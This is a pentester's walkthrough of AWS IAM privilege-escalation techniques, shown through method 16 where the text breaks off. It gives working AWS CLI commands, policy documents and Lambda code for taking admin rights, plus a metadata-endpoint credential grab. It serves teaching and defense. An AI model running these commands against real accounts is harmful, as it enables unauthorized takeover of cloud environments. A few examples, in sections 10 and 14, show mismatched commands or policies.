WELL, THAT ESCALATED QUICKLY

BY GERBEN KLEIJN

INVESTIGATING PRIVESC METHODS IN AWS

In 2018, Spencer Gietzen wrote an excellent article on privilege escalation in AWS, identifying 21 separate methods across various AWS services. I have often used Spencer's article on engagements to try and find privilege escalation paths in client environments. In doing so, I sometimes needed just a little more information. Some of the escalation techniques identified by Spencer require in-depth knowledge of specific services, or are part of a multi-step process. I wanted to understand more about those details. What are the prerequisites and limitations? What does the escalation path actually look like in practice? To answer these questions, I took it upon myself to test Spencer's methods. I created the exploit scenarios for each of the 21 techniques in my own AWS environment and verified that I was able to escalate privileges with all of them.

I found these exercises to be very helpful for fully understanding the vulnerabilities introduced by certain AWS permissions, and hopefully the example walkthroughs provided here will help you in the same manner. I have also sorted these 21 methods into five larger categories to help remember the overall privesc threats to AWS.

Before jumping into the 21 walkthroughs, you can refresh your AWS vocabulary with a glossary of relevant terms the glossary provided here.

TABLE OF CONTENTS

01 - IAM:CREATEPOLICYVERSION

Description

Users with the `iam:CreatePolicyVersion` permission are allowed to create a new version of an existing policy. Consequently, they can create a policy that allows more permissions than what they currently have.

Requirements

- The user needs to have this permission for a resource that applies to them. This only works if they can change a policy that affects them (e.g., through a group or a role).

Example

Our user is part of only a single group and has no other permissions assigned to them.

The policy applied to the group allows only `iam:CreatePolicyVersion`, but it allows this permission on any resource:

```
{
    “Version”: “2012-10-17”,
    “Statement”: [
        {
            “Sid”: “PrivEsc1”,
            “Effect”: “Allow”,
            “Action”: “iam:CreatePolicyVersion”,
            “Resource”: “arn:aws:iam::*:policy/*”
        }
    ]
}
```

To escalate privileges, the user creates a new policy document that permits all AWS actions:

```
$ cat admin_policy.json
{
    “Version”: “2012-10-17”,
    “Statement”: [
        {
            “Sid”: “AllowEverything”,
            “Effect”: “Allow”,
            “Action”: “*”,
            “Resource”: “*”
        }
    ]
}
```

The user then issues the aws command to create a new version of the policy that is applied to their group.

```
$ aws iam create-policy-version --policy-arn arn:aws:iam::[ACCOUNT-ID]:policy/
privesc1 --policy-document file://admin_policy.json --set-as-default --profile
privesc}
```

```
{
    “PolicyVersion”: {
        “CreateDate”: “2019-03-06T20:56:41Z”,
        “VersionId”: “v2”,
        “IsDefaultVersion”: true
    }
}
```

The result is that the user now has full AWS permissions:

```
$ aws iam get-policy-version --policy-arn arn:aws:iam:: [ACCOUNT-ID]:policy/
privesc1 --version-id v2}
```

```
{
    “PolicyVersion”: {
        “CreateDate”: “2019-03-06T20:56:41Z”,
        “VersionId”: “v2”,
        “Document”: {
            “Version”: “2012-10-17”,
            “Statement”: [
                {
                    “Action”: “*”,
                    “Resource”: “*”,
                    “Effect”: “Allow”,
                    “Sid”: “AllowEverything”
                }
            ]
        },
        “IsDefaultVersion”: true
    }
}
```

02 - IAM:SETDEFAULTPOLICYVERSION

Description

When modifying a policy, AWS automatically creates a new policy version with the changes. Those changes can then be undone by reverting the policy to a previous version. Users with the `iam:SetDefaultPolicyVersion` are allowed to set which version of the policy is the default (active) version.

Requirements

- The user needs to have this permission for a resource that applies to them. In other words, it only works if they can change a policy that affects them (e.g., through a group or a role).
- The policy needs to have one or more prior versions that have more permissions than what the policy currently allows.

Example

In the following example, the user is part of only a single group and has no other permissions assigned to them.

The `privesc2` group has two policies assigned to it: `privesc2` and `VulnerablePolicy`. `Privesc2` allows only `iam:SetDefaultPolicyVersion` :

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “Privesc2”,
      “Effect”: “Allow”,
      “Action”: “iam:SetDefaultPolicyVersion”,
      “Resource”: “arn:aws:iam::*:policy/*”
    }
  ]
}
```

The `VulnerablePolicy` policy denies all actions except `iam:SetDefaultPolicyVersion`:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “AllowNothing”,
      “Effect”: “Deny”,
      “NotAction”: “iam:SetDefaultPolicyVersion”,
      “Resource”: “*”
    }
  ]
}
```

Both policies allow the user to do nothing except changing the default version for any policy in the AWS account. The following command shows that the user is not able to add their account to the Admin group:

```
→ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile
privesc
```

```
An error occurred (AccessDenied) when calling the AddUserToGroup operation:
User: arn:aws:iam::[REDACTED]:user/privesc_test is not authorized to perform:
iam:AddUserToGroup on resource: group Admin with an explicit deny
```

However, an older version of VulnerablePolicy has unlimited AWS permissions. The user can set the older version of the policy as the default (active) version, and gain full administrative privileges over the AWS account:

```
→ aws iam set-default-policy-version --policy-arn arn:aws:iam::
[REDACTED]:policy/VulnerablePolicy --version-id v1 --profile privesc
```

```
→ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile
privesc
```

```
→ aws iam list-groups-for-user --user-name privesc_test --profile privesc
```

```
{
    “Groups”: [
        {
            “Path”: “/”,
            “CreateDate”: “2019-03-15T20:36:49Z”,
            “GroupId”: “AGPAIIDFTH4LJ2TIO6G4I”,
            “Arn”: “arn:aws:iam::[REDACTED]:group/privesc2”,
            “GroupName”: “privesc2”
        },
        {
            “Path”: “/”,
            “CreateDate”: “2019-10-11T16:22:31Z”,
            “GroupId”: “AGPAS4WERQEFLF6A2LYFQ”,
            “Arn”: “arn:aws:iam::[REDACTED]:group/Admin”,
            “GroupName”: “Admin”
        }
    ]
}
```

03 - IAM:PASSROLE AND EC2:RUNINSTANCES

Description

The `iam:PassRole` permission allows a user to pass a role to another AWS resource.
The `ec2:RunInstances` permission allows a user to run EC2 instances. With these two permissions, the user can create a new EC2 instance which they have SSH access to, pass a role to the instance with permissions that the user does not have currently, log into the instance, and request AWS keys for the role.

Requirements

- The user needs to be able to pass a role to the instance with permissions that the user does not currently have.
- The role needs to allow `ec2.amazonaws.com` to assume it.
- The user needs to have some way to SSH into the newly created instance.
    - » In the example below, the user assigns a public SSH key stored in AWS to the instance and the user has access to the matching private key.

Example

In this example, the user is part of a single group. The group has only a single policy applied to it. The policy provides the user with the `iam:PassRole` permission, as well as the ability to list and run instances:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: [
        “iam:PassRole”,
        “ec2:DescribeInstances”,
        “ec2:RunInstances”
      ],
     “Resource”: “*”
    }
  ]
}
```

The user is not currently able to add their user account to the Admin group:

```
→ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile
privesc
```

```
An error occurred (AccessDenied) when calling the AddUserToGroup operation:
User: arn:aws:iam::[REDACTED]:user/privesc_test is not authorized to perform:
iam:AddUserToGroup on resource: group Admin
```

First, the user creates a new instance using the following command:

```
→ aws ec2 run-instances --image-id ami-0de53d8956e8dcf80 --instance-type t2.micro
--iam-instance-profile Name=adminaccess --key-name “Public” --security-group-ids
sg-ca4a1fb8 --profile privesc --region us-east-1
```

This command includes the following switches:

- `image-id` specifies the AWS Machine Image (AMI) to use. The `image-id` used here is for an Amazon Linux VM. AWS regularly changes their AMIs, so make sure to use a current value for the `image-id`.
- `instance-type` specifies the type of instance to create. In this case, it’s a free-tier eligible instance.
- `iam-instance-profile` is the role to assign to the EC2 instance. This refers to an IAM role by name, in this case, `adminaccess`. This role provides administrative access to AWS.
- `key-name` refers to a stored SSH key pair by name.
- `security-group-ids` specifies one or more security groups that will to apply to the instance. The security group applied in this example provides only SSH access.
- `region` refers to the region where the instance should be created.

The result of this command is very long and not shown here to save space. The output provides information on the instance that was just created, and most importantly, the instance ID. The newly created instance will be in the “pending” state for a couple of minutes until provisioning is complete. The user can request information about the instance with the following command, replacing `instance-id` with the appropriate instance ID:

```
→ aws ec2 describe-instances --instance-id i-03aba12967c0cb73a --profile privesc
--region us-east-1
```

Again, the output will be very long and not shown here. However, once provisioning is complete, the “state” of the instance will change to “running” and it should obtain a public IP address. At this point, the attacker can SSH into the instance, provided that they have the private SSH key that belongs to

the “Public” key pair. After gaining access to the instance, the user can then request AWS keys for the `adminaccess` role through the metadata IP address:

```
→ ssh ec2-user@3.84.235.112 -i ~/.ssh/id_rsa
```

```
Warning: Permanently added '3.84.235.112' (RSA) to the list of known hosts.
X11 forwarding request failed on channel 0

       __| __|_ )
       _| ( / Amazon Linux 2 AMI
      ___|\___|___|

https://aws.amazon.com/amazon-linux-2/
[ec2-user@ip-172-31-57-71 ~]$ curl 169.254.169.254/latest/meta-data/iam/security-
credentials/adminaccess
{
  “Code” : “Success”,
  “LastUpdated” : “2019-03-15T22:47:58Z”,
  “Type” : “AWS-HMAC”,
  “AccessKeyId” : “[REDACTED]”,
  “SecretAccessKey” : “[REDACTED]”,
  “Token” : “[REDACTED]”,
  “Expiration” : “2019-03-16T05:22:37Z”
```

The user can now use the AWS keys and its associated token to make AWS API calls under the `adminaccess` role. The commands below show the user adding themselves to the `Admin` group:

```
→ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile
stolen-keys
```

```
→ aws iam list-groups-for-user --user-name privesc_test --profile privesc
```

```
{
    “Groups”: [
        {
            “Path”: “/”,
            “CreateDate”: “2017-08-08T21:28:08Z”,
            “GroupId”: “AGPAI5GDGD6WEZ54JKYYQ”,
            “Arn”: “arn:aws:iam::[REDACTED]:group/Admin”,
            “GroupName”: “Admin”
        },
        {
            “Path”: “/”,
            “CreateDate”: “2019-03-15T21:04:06Z”,
            “GroupId”: “AGPAJ6XUU2ZC26UUIBV5A”,
            “Arn”: “arn:aws:iam::[REDACTED]:group/privesc3”,
            “GroupName”: “privesc3”
        }
    ]
}
```

04 - IAM:CREATEACCESSKEY

Description

Users with the `iam:CreateAccessKey` permission can create access keys for the user(s) specified in the policy.

Requirements

- The user needs to have the `iam:CreateAccessKey` permission for another user in order to use it for privilege escalation purposes.

Example

The user is part of only a single group. The group has only one policy attached to it. The policy allows the `iam:CreateAccessKey` permission for any user:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:CreateAccessKey”,
      “Resource”: “*”
    }
  ]
}
```

The user is currently not able to add their user account to the Admin group:

```
→ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile
privesc
```

```
An error occurred (AccessDenied) when calling the AddUserToGroup operation:
User: arn:aws:iam::[REDACTED]:user/privesc_test is not authorized to perform:
iam:AddUserToGroup on resource: group Admin
```

With the `iam:CreateAccessKey` permission, the user can create an access key for another user and then use it:

```
→ aws iam create-access-key --user-name gkleijn --profile privesc
```


```
{
    “AccessKey”: {
        “UserName”: “gkleijn”,
        “Status”: “Active”,
        “CreateDate”: “2019-12-17T23:37:45Z”,
        “SecretAccessKey”: “[REDACTED]”,
        “AccessKeyId”: “[REDACTED]”
    }
}
```


After adding the session credentials to a new AWS profile (named `gkleijn-stolen` in the example below), the user can now impersonate the gkleijn account. Since gkleijn was an administrator in the AWS account, the user can now add their own user account to the Admin group:

```
→ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile
gkleijn-stolen
```

```
→ aws iam list-groups-for-user --user-name privesc_test --profile privesc
```


```
{
    “Groups”: [
        {
            “Path”: “/”,
            “CreateDate”: “2019-03-15T23:00:11Z”,
            “GroupId”: “AGPAIITMF2Y2RVSGQCWQE”,
            “Arn”: “arn:aws:iam::[REDACTED]:group/privesc4”,
            “GroupName”: “privesc4”
        },
        {
            “Path”: “/”,
            “CreateDate”: “2019-10-11T16:22:31Z”,
            “GroupId”: “AGPAS4WERQEFLF6A2LYFQ”,
            “Arn”: “arn:aws:iam::[REDACTED]:group/Admin”,
            “GroupName”: “Admin”
        }
    ]
}
```

05 - IAM:CREATELOGINPROFILE

Description

Users with the `iam:CreateLoginProfile` on other users can set a console login password for those users if they don't have one set yet.

Requirements

- The user needs to have the permission on other users.
- The target user cannot have a console login password currently configured. This means that targets of this attack will most likely be service accounts.

Example

In this example, our attacker is part of a single group. The group has one permission, which allows `iam:CreateLoginProfile` on a single user `VulnAdmin`:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:CreateLoginProfile”,
      “Resource”: “arn:aws:iam::[REDACTED]:user/VulnAdmin”
    }
  ]
}
```

The target user currently does not have a console login password configured. The attacker can issue the following command to set a console login password for the target user:

```
→ aws iam create-login-profile --user-name VulnAdmin --password Password123!
--no-password-reset-required --profile privesc
```

```
{
    “LoginProfile”: {
        “UserName”: “VulnAdmin”,
        “CreateDate”: “2019-03-26T20:20:14Z”,
        “PasswordResetRequired”: false
    }
}
```

The attacker can now log into the console as the `VulnAdmin` user with the password that they set for the account.

06 - IAM:UPDATELOGINPROFILE

Description

Users with the `iam:UpdateLoginProfile` on other users can change the console login password for those users.

Requirements

- The user needs to have the permission on other users.
- The target user needs to have a console login password currently configured.

Example

In this example, our attacker is part of a single group. The group has one permission, which allows `iam:UpdateLoginProfile` on a single user `VulnAdmin`:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:UpdateLoginProfile”,
      “Resource”: “arn:aws:iam::[REDACTED]:user/VulnAdmin”
    }
  ]
}
```

The target user currently has a console password configured. The attacker can issue the following command to change the console login password for the target user:

```
→ aws iam update-login-profile --user-name VulnAdmin --password Password234!
--no-password-reset-required --profile privesc
```

The attacker can now login to the console as the `VulnAdmin` user with the password that they set for the account.

07 - IAM:ATTACHUSERPOLICY

Description

Users with the `iam:AttachUserPolicy` can attach managed policies to user accounts, potentially allowing them to attach policies with permissions that they don't currently have to their own account.

Requirements

- The user is allowed to attach managed policies to their own account.The target user needs to have a console login password currently configured.

Example

In this example, our attacker is part of a single group. The group has one permission, which allows `iam:AttachUserPolicy` on all users:

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:AttachUserPolicy",
      "Resource": "*"
    }
  ]
}
```

The attacker can issue the following command to attach the AWS managed `AdministratorAccess` policy to their user account:

```
→ aws iam attach-user-policy --user-name privesc_test --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess --profile privesc
```

The attacker now has administrator access to the AWS account.

08 - IAM:ATTACHGROUPPOLICY

Description

Users with the `iam:AttachGroupPolicy` can attach managed policies to groups, potentially allowing them to attach policies with permissions that they don't currently have to a group that they are part of.

Requirements

- The user is allowed to attach managed policies to a group that they are part of.

Example

In this example, our attacker is part of a single group. The group has one permission, which allows `iam:AttachGroupPolicy` on all groups:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:AttachGroupPolicy”,
      “Resource”: “arn:aws:iam::*:group/*”
    }
  ]
}
```

The attacker can issue the following command to attach the AWS managed `AdministratorAccess` policy to their user account:

```
→ aws iam attach-group-policy --group-name privesc8 --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess --profile privesc
```

The attacker now has administrator access to the AWS account.

09 - IAM:ATTACHROLEPOLICY

Description

Users with the `iam:AttachRolePolicy` can attach managed policies to roles, potentially allowing them to attach policies with permissions that they don't currently have to a role that they can assume.

Requirements

- The user is allowed to assume a role in the target AWS account.
- The user is allowed to attach managed policies to the role that they can assume.
- Alternatively, the user could attach a policy to a role that they can otherwise access. For instance, if a role is attached to an EC2 instance that they can SSH into, and the user can attach a managed policy to that role, then they can escalate privileges similar to the method described under method 3: "iam:PassRole and ec2:RunInstances."

Example

In this example, our attacker belongs to a third-party AWS account, but is authorized to assume a role in the target AWS account. The role that the attacker can assume only has the `iam:AttachRolePolicy` permission:

```
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "iam:AttachRolePolicy",
            "Resource": "arn:aws:iam::*:role/*"
        }
    ]
}
```

First, the attacker assumes the role in the target AWS account:

```
→ aws sts assume-role --role-arn arn:aws:iam::[REDACTED]:role/privesc9 --role-
session-name privesc9 --profile awstwo
```

```
{
    “AssumedRoleUser”:{
        “AssumedRoleId”: “AROAS4WERQEFLKYC5DHRI:privesc9”,
        “Arn”: “arn:aws:sts::[REDACTED]:assumed-role/privesc9/privesc9”
    },
    “Credentials”: {
        “SecretAccessKey”: “[REDACTED]”,
        “SessionToken”: “[REDACTED]”,
        “Expiration”: “2019-09-05T18:53:48Z”,
        “AccessKeyId”: “[REDACTED]”
    }
}
```

After adding the session credentials to a new AWS profile (named assumedrole in the example below), the attacker escalates privileges by attaching a new policy to the role:

```
→ aws iam attach-role-policy --role-name privesc9 --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess --profile assumedrole
```

The attacker now has administrator access to the AWS account.

10 - IAM:PUTUSERPOLICY

Description

Users with the `iam:PutUserPolicy` can create or update an inline policy for a user, potentially allowing them to add permissions that they don't currently have to their account.

Requirements

- The user needs to have the `iam:PutUserPolicy` permission for an account that they can access.

Example

In this example, our attacker is part of a single group. The group has one permission, which allows `iam:PutUserPolicy` on all users:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:PutUserPolicy”,
      “Resource”: “arn:aws:iam::*:user/*”
    }
  ]
}
```

The attacker can now attach a new inline policy to their user account. The inline policy that will be attached is as follows:

```
→ cat adminpolicy.json
```

```
→ aws sts assume-role --role-arn arn:aws:iam::[REDACTED]:role/privesc9 --role-
session-name privesc9 --profile awstwo
```

```
{
    “Version”: “2012-10-17”,
    “Statement”: [
    {
        “Effect”: “Allow”,
        “Action”: “*”,
        “Resource”: “*”
    }]
}
```

The attacker can attach the policy by issuing the following command:

```
→ aws iam put-user-policy --user-name privesc_test --policy-name new_inline_
policy --policy-document file://adminpolicy.json --profile privesc
```

The attacker now has administrator access to the AWS account.

II - IAM:PUTGROUPPOLICY

Description

Users with the `iam:PutGroupPolicy` can create or update an inline policy for a group, potentially allowing them to add permissions that they don't currently have to their account.

Requirements

- The user needs to have the `iam:PutGroupPolicy` permission for a group that they are part of.

Example

In this example, our attacker is part of a single group. The group has one permission, which allows `iam:PutGroupPolicy` on all groups:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:PutGroupPolicy”,
      “Resource”: “arn:aws:iam::*:group/*”
    }
  ]
}
```

The attacker can now attach a new inline policy to their group. The inline policy that will be attached is as follows:

```
→ cat adminpolicy.json
```

```
{
    “Version”: “2012-10-17”,
    “Statement”: [
    {
        “Effect”: “Allow”,
        “Action”: “*”,
        “Resource”: “*”
    }]
}
```

The attacker can attach the policy by issuing the following command:

```
→ aws iam put-group-policy --group-name privesc11 --policy-name new_inline_policy
--policy-document file://adminpolicy.json --profile privescc
```

The attacker now has administrator access to the AWS account.

I2 - IAM:PUTROLEPOLICY

Description

Users with the `iam:PutRolePolicy` can create or update an inline policy for roles, potentially allowing them to attach policies with permissions that they don't currently have to a role that they can assume.

Requirements

- The user is allowed to assume a role in the target AWS account.
- The user is allowed to create or update inline policies for the role that they can assume.
- Alternatively, the user could create or update an inline policy for a role that they can otherwise access. For instance, if a role is attached to an EC2 instance that they can SSH into, and the user can create or update an inline policy for that role, then they can escalate privileges similar to the method described under method 3: "iam:PassRole and ec2:RunInstances".

Example

In this example, our attacker belongs to a third-party AWS account but is authorized to assume a role in the target AWS account. The role that the attacker can assume only has the `iam:PutRolePolicy` permission:

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:PutRolePolicy",
      "Resource": "arn:aws:iam::*:role/*"
    }
  ]
}
```

First, the attacker assumes the role in the target AWS account:

```
→ aws sts assume-role --role-arn arn:aws:iam::1[REDACTED]:role/privesc12 --role-session-name privesc12 --profile awstwo
```

```
{
    “AssumedRoleUser”: {
        “AssumedRoleId”: “AROAS4WERQEFCCNCEZ7FQ:privesc12”,
        “Arn”: “arn:aws:sts::[REDACTED]:assumed-role/privesc12/privesc12”
    },
    “Credentials”: {
        “SecretAccessKey”: “[REDACTED]”,
        “SessionToken”: “[REDACTED]”,
        “Expiration”: “2019-09-05T20:39:43Z”,
        “AccessKeyId”: “[REDACTED]”
    }
}
```

After adding the session credentials to a new AWS profile (named assumedrole in the example below), the attacker escalates privileges by attaching a new policy to the role:

```
→ aws iam put-role-policy --role-name privesc12 --policy-name new_inline_policy
--policy-document file://adminpolicy.json --profile assumedrole
```

The attacker now has administrator access to the AWS account.

13 - IAM:ADDUSERTOGROUP

Description

Users with the `iam:AddUserToGroup` permission can add users to new groups, potentially allowing them to add their own user account to a group that has more privileges than what the user currently has.

Requirements

- The user needs to have the `iam:AddUserToGroup` permission for a group that has more permissions than they currently possess.

Example

In this example, our attacker is part of a single group, The group has one permission, which allows `iam:AddUserToGroup` on all groups:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:AddUserToGroup”,
      “Resource”: “arn:aws:iam::*:group/*”
    }
  ]
}
```

The attacker can escalate privileges by adding their user account to the Admin group:

```
→ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile
privesc
```

The attacker now has full admin permissions to the AWS environment.

14 - IAM:UPDATEASSUMEROLEPOLICY

Description

Users with the `iam:UpdateAssumeRolePolicy` can update a role to allow them to assume it, potentially granting them access to a role with permissions in excess of what they currently have.

Requirements

- The user is allowed to assume a role in the target AWS account.
- The user is allowed to update an `AssumeRole` policy for a role with permissions that they don't currently have.

Example

In this example, our attacker belongs to a third-party AWS account but is authorized to assume a role in the target AWS account. The role that the attacker can assume only has the `iam:UpdateAssumeRolePolicy` permission:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: “iam:AddUserToGroup”,
      “Resource”: “arn:aws:iam::*:group/*”
    }
  ]
}
```

The target role that we will escalate to is named adminaccess and does not allow any users to assume it. Only the EC2 service is currently allowed to assume this role, as shown by the role's AssumeRolePolicy:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Effect”: “Allow”,
      “Principal”: {
        “Service”: “ec2.amazonaws.com”
      },
      “Action”: “sts:AssumeRole”,
      “Condition”: {}
    }
  ]
}
```

First, the attacker assumes the lower privileged role in the target AWS account:

```
→ aws sts assume-role --role-arn arn:aws:iam::[REDACTED]:role/privesc14 --role-
session-name privesc14 --profile awstwo
```

```
{
    “AssumedRoleUser”: {
        “AssumedRoleId”: “AROAS4WERQEFADXSRZ6OX:privesc14”,
        “Arn”: “arn:aws:sts::[REDACTED]:assumed-role/privesc14/privesc14”
    },
    “Credentials”: {
        “SecretAccessKey”: “[REDACTED]”,
        “SessionToken”: “[REDACTED]”,
        “Expiration”: “2019-09-05T22:24:25Z”,
        “AccessKeyId”: “[REDACTED]”
    }
}
```

After adding the session credentials to a new AWS profile (named assumedrole in the example below), the attacker escalates privileges by updating the adminaccess role so that they can assume it. The AssumeRole policy that will be used is as follows:

```
→ cat assumerolepolicy.json
```

```
{
    “Version”: “2012-10-17”,
    “Statement”: [
    {
        “Effect”: “Allow”,
        “Principal”: {
            “AWS”: “arn:aws:iam::[REDACTED]:user/attacker”
        },
    “Action”: “sts:AssumeRole”,
    “Condition”: {}
   }]
}
```

The attacker issues the command to add this trust policy to the adminaccess role:

```
→ aws iam update-assume-role-policy --role-name adminaccess --policy-document
file://assumerolepolicy.json --profile assumedrole
```

The attacker can now assume the adminaccess role in the target environment:

```
→ aws sts assume-role --role-arn arn:aws:iam::199054426378:role/adminaccess
--role-session-name privesc14admin --profile awstwo
```

```
{
    “AssumedRoleUser”: {
        “AssumedRoleId”: “AROAJFLD6LA5KYRSHSDTY:privesc14admin”,
        “Arn”: “arn:aws:sts::[REDACTED]:assumed-role/adminaccess/privesc14admin”
    },
    “Credentials”: {
        “SecretAccessKey”: “[REDACTED]”,
        “SessionToken”: “[REDACTED]”,
        “Expiration”: “2019-09-05T22:44:39Z”,
        “AccessKeyId”: “[REDACTED]”
    }
}
```

15 - IAM:PASSROLE, LAMBDA:CREATEFUNCTION, AND LAMBDA:INVOKEFUNCTION

Description

Users with the `iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction` permissions can escalate privileges by creating a new Lambda function that, when invoked, executes code that escalates the user's privileges.

Requirements

- The AWS account needs to contain an existing role that includes the `iam:AttachUserPolicy` permission, and lambda functions need to be allowed to assume this role.

Example

In this example, our attacker is part of a single group. The group only has the `iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction` permissions:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: [
        “lambda:CreateFunction”,
        “iam:PassRole”,
        “lambda:InvokeFunction”
      ],
      “Resource”: [
        “arn:aws:lambda:*:*:function:*”,
        “arn:aws:iam::*:role/*”
      ]
    }
  ]
}
```

In addition, the AWS account contains a role that can be assumed by the lambda service, and which includes the `iam:AttachUserPolicy` permission:

```
{
    “Version”: “2012-10-17”,
    “Statement”: [
        {
            “Sid”: “VisualEditor0”,
            “Effect”: “Allow”,
            “Action”: “iam:AttachUserPolicy”,
            “Resource”: “arn:aws:iam::*:user/*”
        }
    ]
}
```

To initiate the privilege escalation exploit, the attacker first creates some code that, when executed, will attach the Administrator policy to the attacker's user account:

```
→ cat code.py
```

```
import boto3
def lambda_handler(event, context):
    client = boto3.client(‘iam’)
    response = client.attach_user_policy(UserName=’privesc_
test’,PolicyArn=’arn:aws:iam::aws:policy/AdministratorAccess’)
    return response
```

The attacker then zips up the code file and creates a new lambda function. In the AWS command below, the attacker passes the lambda role with the `iam:AttachUserPolicy` permission to the function. In addition, note that the handler is the name of the Python file (minus the extension) followed by the defined function:

```
→ zip function.zip code.py
```

```
adding: code.py (deflated 27%)
```

```
→ aws lambda create-function --function-name privesc --runtime python3.6 --role
arn:aws:iam::[REDACTED]:role/privesc15lambda --handler code.lambda_handler --zip-
file fileb://function.zip --region us-west-2 --profile privesc
```


```
{
    “TracingConfig”: {
        “Mode”: “PassThrough”
    },
    “CodeSha256”: “jCxmafHHIfQ0ClMk/HF+16xxUxBFZGRFL5rGVnuXLeg=”,
    “FunctionName”: “privesc”,
    “CodeSize”: 321,
    “RevisionId”: “d4007872-474a-4a24-9b8f-41e62391b6dd”,
    “MemorySize”: 128,
    “FunctionArn”: “arn:aws:lambda:us-west-2:
      [REDACTED]:function:privesc”,
    “Version”: “$LATEST”,
    “Role”: “arn:aws:iam::[REDACTED]:role/privesc15lambda”,
    “Timeout”: 3,
    “LastModified”: “2019-09-05T23:04:57.184+0000”,
    “Handler”: “code.lambda_handler”,
    “Runtime”: “python3.6”,
    “Description”: “”
}
```


The attacker then invokes the function to execute the code responsible for the privilege escalation:

```
→ aws lambda invoke --function-name privesc output.txt --region us-west-2
--profile privesc
```


```
{
    “ExecutedVersion”: “$LATEST”,
    “StatusCode”: 200
}
```


The code executed and the attacker now full admin permissions to the AWS environment.

16 - IAM:PASSROLE, LAMBDA:CREATEFUNCTION, AND LAMBDA:CREATEEVENTSOURCEMAPPING

Description

Users with the `iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping` permissions can escalate privileges by creating a new Lambda function and connecting it to a DynamoDB table. Afterwards, when a new row is inserted into the table, the Lambda function executes code that escalates the user's privileges.

Requirements

- The AWS account needs to contain an existing role that includes the `iam:AttachUserPolicy`, `dynamodb:GetRecords`, `dynamodb:GetShardIterator`, `dynamodb:DescribeStream`, and `dynamodb:ListStreams` permissions, and Lambda functions need to be allowed to assume this role.
- The AWS account needs to contain a DynamoDB table that is Stream Enabled.
- Alternatively, if no DynamoDB table exists then this method of privilege escalation can still work if the attacker has the `dynamodb:CreateTable` permission.

Example

In this example, our attacker is part of a single group. The group only has the `iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping` permissions:

```
{
  “Version”: “2012-10-17”,
  “Statement”: [
    {
      “Sid”: “VisualEditor0”,
      “Effect”: “Allow”,
      “Action”: [
        “lambda:CreateFunction”,
        “iam:PassRole”
      ],
      “Resource”: [
        “arn:aws:iam::*:role/*”,
        “arn:aws:lambda:*:*:function:*”
      ]
    },
    {
      “Sid”: “VisualEditor1”,
      “Effect”: “Allow”,
      “Action”: “lambda:CreateEventSourceMapping”,
      “Resource”: “*”
    }
  ]
```

In addition, the AWS account contains a role that can be assumed by the Lambda service, and which includes the `iam:AttachUserPolicy`, `dynamodb:GetRecords`, `dynamodb:GetShardIterator`, `dynamodb:DescribeStream`, and `dynamodb:ListStreams` permissions:

```
{
    “Version”: “2012-10-17”,
    “Statement”: [
        {
            “Sid”: “VisualEditor0”,
            “Effect”: “Allow”,
            “Action”: [
            “dynamodb:GetShardIterator”,
            “iam:AttachUserPolicy”,
            “dynamodb:DescribeStream”,
            “dynamodb:GetRecords”
            ],
            “Resource”: [
                “arn:aws:dynamodb:*:*:table/*/stream/*”,
                “arn:aws:iam::*:user/*”
            ]
        },
        {
            “Sid”: “VisualEditor1”,
            “Effect”: “Allow”,
            “Action”: “dynamodb:ListStreams”,
            “Resource”: “*”
        }
    ]
}
```

Finally, the AWS account also contains a suitable DynamoDB table for the exploit. Note that in the policy applied to the attacker's group, the attacker does not have any DynamoDB permissions.

To initiate the privilege escalation exploit, the attacker first creates some code that, when executed, will attach the Administrator policy to the attacker's user account:

```
→ cat code.py
```

```
import boto3
def lambda_handler(event, context):
    client = boto3.client(‘iam’)
    response = client.attach_user_policy(UserName=’privesc_
test’,PolicyArn=’arn:aws:iam::aws:policy/AdministratorAccess’)
    return response
```

The attacker then zips up the code file and creates a new lambda function. In the AWS command below, the attacker passes the lambda role with the necessary permissions to the function. In addition, note that the handler is the name of the python file minus the extension, followed by the defined function.

```
